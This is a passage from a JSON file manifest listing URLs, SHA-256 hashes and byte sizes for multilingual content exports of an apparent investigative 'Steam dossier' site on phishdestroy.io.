          "sha256": "7d94827228c0112dce5b924261522cad2a349745c52123f2200190fa680cfdb8",
          "bytes": 5533
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_17_agent_mary.json",
          "sha256": "e4fbe026ec2beacacd53382afacebd6dc9f76df4dd360d0ae81a2f6c98eee1b9",
          "bytes": 5926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_18_agent_viola.json",
          "sha256": "8b572b13888875ac56bc4b269667c847b80f947d5035e6af3f5bff846397946b",
          "bytes": 23374
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_19_agent_beatrix.json",
          "sha256": "5a723f2d78f8af1d752616b533122d77bb89bc731394b2ba875b63d2a09e4793",
          "bytes": 9272
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_1_agent_austin.json",
          "sha256": "9d4da2bfe10760840c1aa79c311121696bde8fdf71e950f61783c958817ced43",
          "bytes": 9131
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_2_agent_kal.json",
          "sha256": "6d37f1bb70d531075294d434394df6f36f5c818f177a9bbd1210b31cf8543733",
          "bytes": 7949
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_1_agent_june.json",
          "sha256": "21cf41c23f36ef4db1744f3c96c6818db988517ee02e633af46d3f0a153207ca",
          "bytes": 11474
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_2_agent_ignatus.json",
          "sha256": "dd060b952f027d455387419ae5a84d88c1aa112700df09895b3096c2a9ead61e",
          "bytes": 7536
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_3_agent_lynn.json",
          "sha256": "0e296f0c5b1f8f031253e42c80009dc45871aa123e6c3f2e1da9b317a9a9d815",
          "bytes": 104429
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_4_agent_gordon.json",
          "sha256": "87152cf43f6afcdee312bb51d4eb92fccb8b849b58cc627c34156f84a62220c8",
          "bytes": 11430
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_1_agent_lucia.json",
          "sha256": "38599921b6b61f040c021893fa57a1d346aacfc757bb1fbad667f5395318f93a",
          "bytes": 14344
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_5_agent_sofia.json",
          "sha256": "4e7c6ae7ca0ceae33e72a6bfad4e4143463fca60f59c742f1df327d13f62e2dd",
          "bytes": 33362
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_6_agent_carla.json",
          "sha256": "042da44fadf82c73f6fa1dc3daa93eaf2a6741bcc45929f5e388b4135147364b",
          "bytes": 11686
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_7_agent_amy.json",
          "sha256": "a801762d1cc10f34fb954dd72218b58640725608b47e900c0d6574ec0e62a70b",
          "bytes": 6245
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_1_agent_jasmine.json",
          "sha256": "d5edf4bdfb5a6285a34e9e5e6682d7b8c896a2cf47b2703e2ea5065df53386bc",
          "bytes": 9617
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_8_agent_aaron.json",
          "sha256": "a31ec48c216f5701b5e40a3092597384ab583d726ff65c726e30fe512ee0bac8",
          "bytes": 5934
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_9_agent_lorraine.json",
          "sha256": "b19c3412ce519c66811b330e11b362d44ec46c499191a8dbc9c04b1042c7df50",
          "bytes": 11935
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/manifest.json",
          "sha256": "957254d7199093c8da90ee48f24db58b46600e2828cd293ac9ec1f1b7f955f89",
          "bytes": 17653
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/validation.json",
          "sha256": "d0f9c1f6e0b4750ed6fcfd1a822762f6966f38bf274d829e80df5d28966d669b",
          "bytes": 24631
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/dossier-text.json",
          "sha256": "428a978962aec599fdcfd21cc03459c08f29f3d9d159e985877526e36e98d3a1",
          "bytes": 17274517
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/card_economy.content.json",
          "sha256": "5d0a4260222be46d71f8a50cdb96a604a6b1fd95ea3e754d6051b8a5777691b4",
          "bytes": 114553
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/elite_skins.content.json",
          "sha256": "9f5eedf99dcf1e3bd66fa78d4f9296e8fc20aaeab12c91a6cf71843c6e5e4544",
          "bytes": 31774
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/enforcement_audit.content.json",
          "sha256": "2caba36640264b14c23bfc5a0b3f886ee0d74c2b31a78ff774c37e1598874d31",
          "bytes": 56689
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/index.content.json",
          "sha256": "1c617113cb42560e5c4717bf18c9b410767c821aa1ab2769deaa4a510c99e9e1",
          "bytes": 476585
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/investigation_part2.content.json",
          "sha256": "e8e25dd4029bc24661cf02c1ffc63f392678422f7891b8e281a87fa568c6c73c",
          "bytes": 40736
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/legal_analysis.content.json",
          "sha256": "9d3122d9b020ccf1b85270bf55851206ef042f6d8b25d217d50dabcc9bbf133b",
          "bytes": 36485
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/license_disclaimer.content.json",
          "sha256": "cf65901fcec298c7d9ec001278bc6cf34d1ee7b5cc5e980fe3b015255d1d6da1",
          "bytes": 51541
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/market_economics.content.json",
          "sha256": "8d7197a72af82bd4b4b11789cc28e7462928f97f89a42bb64384225737570270",
          "bytes": 28087
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__index.content.json",
          "sha256": "2c345e031e7d9deaf23f2428fcbc009ac100dc1b032a124bd8f977fce5c2efa8",
          "bytes": 12797
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__network.content.json",
          "sha256": "e990c42502f19aaae63afe0433bb0b7da348bbc1af8e3f3da5ad66755231410b",
          "bytes": 3568
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "494ff7e3babfb2ead70902cb3ecbaa2ed5474d2e0a6d45bbe588d1623a3ad9b5",
          "bytes": 6292
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "3f86d1e1cc443803dac352aa34709a8de9090524eac2933936ecd1ea235cf511",
          "bytes": 7874
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/regulatory_act_print.content.json",
          "sha256": "4663354177a7d4127ca81ff2e36a0aaee70c634bf0c19e3f3a8c0a586b038f65",
          "bytes": 37328
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/security_timeline.content.json",
          "sha256": "5f9ecf82835193457452bb336d886eeeec354b67b5749a9981b8cc675ffb84ac",
          "bytes": 28961
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/skin_atlas.content.json",
          "sha256": "35325bb3a33e3af4ccd669cd4b9421940860c084b2f3ffb9c0d4e9ece47cc069",
          "bytes": 56104
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/social_graph.content.json",
          "sha256": "519ab8c86f9ec31475f665a0b31ebac1ecc0d377b2f4a91f9f13a22629ecc2ef",
          "bytes": 16429
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_enforcement_evidence.content.json",
          "sha256": "ba7743802d8abb104ad419850999f851cbf7a485a13cc5a9dfb2484aa691192d",
          "bytes": 71833
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/steam_evidence_archive.content.json",
          "sha256": "5d05a11f6270b5708890b30886c0624b7298bde01941f33a17295fbb29901a70",
          "bytes": 13322
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/support_canned_refusals.content.json",
          "sha256": "ca6c199c62e7038dccd115231ab724b685ef296acda473e7ad46d80c4493facd",
          "bytes": 10378
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/ar/valve_scandals_registry.content.json",
          "sha256": "0c0679aef31488e47fd26f6444c4065fd8632dd4b2b279f6dfc5cea03a0d4ee1",
          "bytes": 17563
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy.content.json",
          "sha256": "b13f454881c2eec51ac42355d45d1f4f2f74f07b936fb62331cb5befb0d62eb1",
          "bytes": 81221
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/card_economy_de.content.json",
          "sha256": "bb7055eb6adecef9868b74d8c6fe16c088226442a638b20122f105172f232142",
          "bytes": 87286
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/elite_skins.content.json",
          "sha256": "dedc61c934b41d0cd82299539464942a23ea7eddfed199ce10f97d8c3655f3c5",
          "bytes": 26425
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit.content.json",
          "sha256": "c8c6d192d510b6bbd30cf179cb14fb270a5eb7464ec6e01609d52b075d11124d",
          "bytes": 43082
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/enforcement_audit_de.content.json",
          "sha256": "366273ce4071d32daffaed7c6f3ca8b90a858916a5c3acbade38b0cef9f006be",
          "bytes": 39758
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/index.content.json",
          "sha256": "e62f005a35d11fb951a9a852f5d9e5a79e8bb86733f928c168affad709ff4a8c",
          "bytes": 389327
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/investigation_part2.content.json",
          "sha256": "16c67501403f64514e623f006fe04aab422a9b787d0f47c0fc93860036ead17d",
          "bytes": 32069
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/legal_analysis.content.json",
          "sha256": "65b7df82e78f9316a35e5d8131233500446093420a5067dc5fb1e0a05e0ff9cb",
          "bytes": 27025
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/license_disclaimer.content.json",
          "sha256": "3c989a12e6148754fc7310eac80bf6c59bb3d911a5a4bd7e6b2f54b98c6e62ea",
          "bytes": 40840
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/market_economics.content.json",
          "sha256": "d25bc38bdd65bb0c471c85af9a283bb1ff49c99077175857e0c5d389d09e134f",
          "bytes": 22801
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__index.content.json",
          "sha256": "45c4532d9e337e3ca272caa027430735e914225ca5dfc3e8184fd139e7b62d32",
          "bytes": 10285
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__network.content.json",
          "sha256": "ed5509080e23016e0889df8311460ee84b8f3e6548d9fcd690362dcbe2183508",
          "bytes": 3328
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "08a061cc2de85a1639866f7ccba056b50f8a38dbe8007fa62430710436792f47",
          "bytes": 5370
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "b9fd2d8c89f3ddbe5c1215be750e371915065279a891ed8f6f3dd325fa8f33b8",
          "bytes": 6810
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/regulatory_act_print.content.json",
          "sha256": "4a7433f99362f2e729960782f54a44527c1714a28ca7950b02ec1567290bd05a",
          "bytes": 34290
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/security_timeline.content.json",
          "sha256": "1e8f142abea4be4e743417d9c04882e2f0d0f535a5e11cd072f9260c02078e1d",
          "bytes": 23118
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/skin_atlas.content.json",
          "sha256": "753f1b4a422d5a8aa41d85d979c21c2e2a78771769fd815a64df179f0908cab8",
          "bytes": 49337
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/social_graph.content.json",
          "sha256": "aa366e87cc33e06f76267851e2de82ae513ccabcd91f69b74884fc223447ccd1",
          "bytes": 15534
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_enforcement_evidence.content.json",
          "sha256": "64eb5e3d944fbf43ddcf62e7b0047016a9593d1c9233efaeb7e1c4cdb03474c2",
          "bytes": 70557
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/steam_evidence_archive.content.json",
          "sha256": "8a8ac9f40b015b68392e7c5c38c1b555c079f7bf57f971ac9b2372ff10daa6d8",
          "bytes": 11556
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/support_canned_refusals.content.json",
          "sha256": "19c6f8386c404c408a3f43dc17fb10d849d69ef29c8df82c7682a1cdb08a3331",
          "bytes": 8807
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/de/valve_scandals_registry.content.json",
          "sha256": "28359bef8b9136e12e8b06bca29067be1c1da7e349c248acd617bd3623c6c42a",
          "bytes": 16650
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/card_economy.content.json",
          "sha256": "18db8ed1da0249ddd3db69a905b0a4faa5e724b8ba2a984b178515016cbd9a1c",
          "bytes": 71980
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/elite_skins.content.json",
          "sha256": "28ed069ad8d779ecebca1b8c90a6667d02fd7bcba0f906adf9b80b52547c8b58",
          "bytes": 22591
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/enforcement_audit.content.json",
          "sha256": "b8cb7e21c7817310ea3abe4f5394746555f5634796c0bec910b17eb0c3c4ddeb",
          "bytes": 35565
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/investigation_part2.content.json",
          "sha256": "db0176007ede78d44e5ff048793847ea0e1ae7e8380c1eaf0279c2079fe2275b",
          "bytes": 27241
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/legal_analysis.content.json",
          "sha256": "18c85d246f256b09d4ed20a4834e8a88a88099fbd3a58e92bd635ada1e607d57",
          "bytes": 22722
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/license_disclaimer.content.json",
          "sha256": "9da9833510178283b74bd71ea8f00f3321a92e8864b1ecaa9b7c66cce44d0a08",
          "bytes": 38229
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/market_economics.content.json",
          "sha256": "452c354dd87a3c2cf6bc13fd59a993baf680ad937788d6438c1fe15d39af79fb",
          "bytes": 18806
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__index.content.json",
          "sha256": "a17666aedfdd67e7b989cd15a9c37c578c3505bbfa9c13838a1a5b18b2cf23cd",
          "bytes": 9169
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__network.content.json",
          "sha256": "9076c3ef840167cd97ad27626de16bd4639bf1d5eab663322fe71d7e07b43f7e",
          "bytes": 3190
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "a8b08d9ada1928b4544e5287ab399edb2345aca300f64ea10b0309b4b95f345b",
          "bytes": 5187
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "caffba66084dd454ef5fa387feb6b4081d76f1a1e401b7a5597989c295267eec",
          "bytes": 6247
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/regulatory_act_print.content.json",
          "sha256": "a68b8dba2c60766c478379a526e600204366c91c7f37ac2061e55cf8fd7e1572",
          "bytes": 32525
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/security_timeline.content.json",
          "sha256": "c96be8273fc515910ce28598e55e1eae8882de2aa1ecb8698131605d803d15cf",
          "bytes": 19517
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/skin_atlas.content.json",
          "sha256": "6a22ec3e16e1d3c9dd0c832bdc172c7a7d30039ccb71a09a4f2d5ba1dbae0e72",
          "bytes": 44184
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/social_graph.content.json",
          "sha256": "c0bd3de08f8d97f33ad48aa832750ed13a4597271fa970dfbeabeee9cf984e4a",
          "bytes": 15058
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/source_1_response.content.json",
          "sha256": "3ae92a39b53c55ec89f62901ef4294eaf40c95798cc9846f46587915875552ca",
          "bytes": 4252
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_enforcement_evidence.content.json",
          "sha256": "387a0657a8a76511d38d912b091662dd377c16b39e800560b615b4ad1a5900e6",
          "bytes": 69863
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/steam_evidence_archive.content.json",
          "sha256": "69517438e70c797ba1acbe463b2ac13ee8392503fb748a38bbc7252de1075561",
          "bytes": 10814
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/support_canned_refusals.content.json",
          "sha256": "654513307cfc1d9e02f9253a973d731498c53ae0d5eb718888418d40a3671108",
          "bytes": 7770
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/valve_scandals_registry.content.json",
          "sha256": "b8936d5040cc116afe3ca849b109ce53f0c8b631b6992a6bf3b79e9d49d6d6e0",
          "bytes": 16990
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/card_economy.content.json",
          "sha256": "51d28c54a835eafe26a4f8249466ee648c09daa852f909fdcf5b473e1a82e4ee",
          "bytes": 86637
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/elite_skins.content.json",
          "sha256": "bc7b38c2147eec3448eda5860a1a0f5674d06333d971b8390803c2903bab327e",
          "bytes": 26583
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/enforcement_audit.content.json",
          "sha256": "5e4363b85ee4d5fd200b0d6aec24be2260bfba01f42bf08a3bfb8585b9c3f2a4",
          "bytes": 43281
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/index.content.json",
          "sha256": "4c56560ab5f7eb229b33befe37903dfb9249bc16bda448b5ce0ca638d1a56310",
          "bytes": 391399
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/investigation_part2.content.json",
          "sha256": "f0b24ec65e90a8e1c4051246cb1f53fc1185c90188aac3486f7363ea51d501c4",
          "bytes": 32108
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/legal_analysis.content.json",
          "sha256": "cd126ec47a0157410854e2b5bcf54780aaa2c43ab15d5a2c957b6c798269e4a0",
          "bytes": 27668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/license_disclaimer.content.json",
          "sha256": "6f520ad20332e94dc79ac0b0e0bfa2aadd1e3bb52ffac476858f13278154255a",
          "bytes": 39989
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/market_economics.content.json",
          "sha256": "e7e05c9d0e9ad7a61c9773f400f199603d8363e97c1d50513a9b3c6c4045d50d",
          "bytes": 22486
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__index.content.json",
          "sha256": "281fc993c86eeee3a49b923cdf240db38ec6d2f5079f57a946b83e370a2e3379",
          "bytes": 10396
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__network.content.json",
          "sha256": "fffa67e1f1057062de2ec425a333bbee8876ed161ad09062dfd9d4d9d76848d0",
          "bytes": 3348
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "5767019f6eb4b3bfaa63338c5a4f3c65001b07a1fb29d37b7675f26ec18deabc",
          "bytes": 5393
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "21b202ea3638f8b68576cb71e1c04d5974ba91520bad0ddfc6d16ec45be73739",
          "bytes": 6926
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/regulatory_act_print.content.json",
          "sha256": "87e20ca13a98b20328655af1896dbc9265363076735c9b9d84fe0fa81ee88ded",
          "bytes": 34299
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/security_timeline.content.json",
          "sha256": "4c6a37ccf047d6795dc156752f9f1bc5b208758726d97760b082c87f2024331e",
          "bytes": 23964
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/skin_atlas.content.json",
          "sha256": "53377464dbfa7cde68357edb99c72b767b378618a70584944322fa334329f2c7",
          "bytes": 49137
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/social_graph.content.json",
          "sha256": "43b581031fe8c2b3db0e6105c025d9bacf4fb8d1758941086b964031cc86ab8c",
          "bytes": 15435
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_enforcement_evidence.content.json",
          "sha256": "e652728c22eb8c2c4a21cc8339584c8df642891070ae40ba09d0f85b1ea419c7",
          "bytes": 70588
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/steam_evidence_archive.content.json",
          "sha256": "5629477ff4fc5e5bae66413993b91fa0a3d6c7cc8178ad54145117305f553f1d",
          "bytes": 11825
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/support_canned_refusals.content.json",
          "sha256": "b810eee1fa5e6ba094f8134d0497deb12f1766cb89d63fd9cdc2ab15fc94a848",
          "bytes": 8958
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/es/valve_scandals_registry.content.json",
          "sha256": "a3fb1cd8baa786c432edf6b51a1c39170309d87ee780c5dea8ed66b08580ad05",
          "bytes": 16776
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/card_economy.content.json",
          "sha256": "3fb8999f2614dfc6b0fd31a846c68efbe7178630f5cf1b3eb6deb8586b95e7c3",
          "bytes": 90307
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/elite_skins.content.json",
          "sha256": "d860882b93b8a45a1be1d9af0ad51b12e6a7102d7aff5753bed7b2966670c000",
          "bytes": 27316
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/enforcement_audit.content.json",
          "sha256": "b12e368f01042b3ad59edff306bf786dfd1b7616cfa342462c9c57b5ccd7e755",
          "bytes": 45402
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/index.content.json",
          "sha256": "43a208feb9b4a04a07982c498d452454a00abd1979031bffd0da937ac5fc447f",
          "bytes": 401351
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/investigation_part2.content.json",
          "sha256": "e77e8cbbe5ac21396fd2a2cf684a258b6d7b182c311726fce6ec13c97f705d39",
          "bytes": 32683
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/legal_analysis.content.json",
          "sha256": "9a548db47bb6a93ba14cd17732c28e55fdf6717154370662773cf3c651fb521e",
          "bytes": 28830
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/license_disclaimer.content.json",
          "sha256": "e134b578b34c4fc7851107c83d2f11829820b44e2fd30c9ab5745d19575e5e56",
          "bytes": 43398
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/market_economics.content.json",
          "sha256": "25a102fb5df152f6086adfc7733f5abd87f22a8ac5751c06275d5bb37fce868d",
          "bytes": 23108
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__index.content.json",
          "sha256": "7dae74a0e313350113443b8e5f4be289739e41fc35b838810de37a671e1cee7b",
          "bytes": 10815
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__network.content.json",
          "sha256": "5f6de9a26025ca29d31f364cec90ede3b6cb6af0ee5c9cfd6100c7cea7cd22d7",
          "bytes": 3355
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__steam_ecosystem_dashboard.content.json",
          "sha256": "464017b0e89527ed5cd88a12f1538e5e2bb6aafc3d1ed4e0b8985443c2744614",
          "bytes": 5587
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/output_steam_network__valve_ru_farming_isolated.content.json",
          "sha256": "d3555d13940f2ae87bec069c97ba53e0f6e6b49edca9941f235192368d43c01e",
          "bytes": 7073
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/regulatory_act_print.content.json",
          "sha256": "e359ecc5c194517bc2f39084c9aba4f98785e4537caa79ca353c3fc916c62379",
          "bytes": 34785
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/security_timeline.content.json",
          "sha256": "9a0e33bc56c79cc53b88ef9e7ca25e8a552739b2131bc969117c3abfc48d1f6d",
          "bytes": 24418
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/skin_atlas.content.json",
          "sha256": "69a523bd8456a957c560798ee1bd221581e3804b7f1278874542167541534383",
          "bytes": 50033
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/social_graph.content.json",
          "sha256": "c9f32be7e9a0047ac3fe8fb9ac720dbc90ef620b72158b1fd8f6183deb7a5db3",
          "bytes": 15684
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_enforcement_evidence.content.json",
          "sha256": "9e7a0d24ea88fbc129e8c2deb3e599c0916fc306c21fc56da0b685ced595e708",
          "bytes": 70955
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/steam_evidence_archive.content.json",
          "sha256": "2a0c746e5c34736cab3e03b1cdd792f92c2fbe968a6dcaeb2702dac688980934",
          "bytes": 12207
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/support_canned_refusals.content.json",
          "sha256": "b539ce6c3e3eb0f6dd5451aa28bbdea4a971b62f6ef9a20bf19a141f7bf772cd",
          "bytes": 9735
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/fr/valve_scandals_registry.content.json",
          "sha256": "123d1bb4ed637f096a7bdfbd6369720a066fcf3b73680b1d846105f58280468c",
          "bytes": 16935
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/card_economy.content.json",
          "sha256": "fb55aa47be2d1d2d6b24b1dcb5625e1beafb43efeb61be21fcae41c7e4a4c7bb",
          "bytes": 154799
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/elite_skins.content.json",
          "sha256": "a8f16e632ceb5f2db37538f3c3e1ee6c4ffb72e0947b12cf88e695d32470e551",
          "bytes": 43404
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/enforcement_audit.content.json",
          "sha256": "fe6b0ba1cf36c947a14bbf1a154a10323053429245d2ea9a8dc7588f96e4e5f8",
          "bytes": 78326
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/index.content.json",
          "sha256": "1a370f08f6856f273f2ff4a8b6f8f69a84bb9bab7b93fdb6950197f133e5e332",
          "bytes": 591686
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/investigation_part2.content.json",
          "sha256": "fbd804a0c8f6d59797a9283572c689e89dbcaca801e04402a25b850d69e912b7",
          "bytes": 52035
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/legal_analysis.content.json",
          "sha256": "167fc42c8e9b3e5fd371453754c82eb5b4b95a02744b5da6676ad92baf2ed5f6",
          "bytes": 48344
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/license_disclaimer.content.json",
          "sha256": "4eed8840d3d12881d7be9c0eee99b247fbe04437cc4c4f7249bd9cc95b2aa6dc",
          "bytes": 76614
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/market_economics.content.json",
          "sha256": "318ebc46530d86e664b03ae0d4f5876c75be1295e8086435472ad716cf541b2b",
          "bytes": 36855
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__index.content.json",
          "sha256": "45857ecbc4cef2333413034a09a290d63b1e1bff408766d518d8d36efdd6af7f",
          "bytes": 17171
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__network.content.json",
          "sha256": "16047b0edf023df64eb23ed5a7470c79889515144e2198ddcad871170396adba",
          "bytes": 3936
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/hi/output_steam_network__steam_ecosystem_dashboard.content.json",
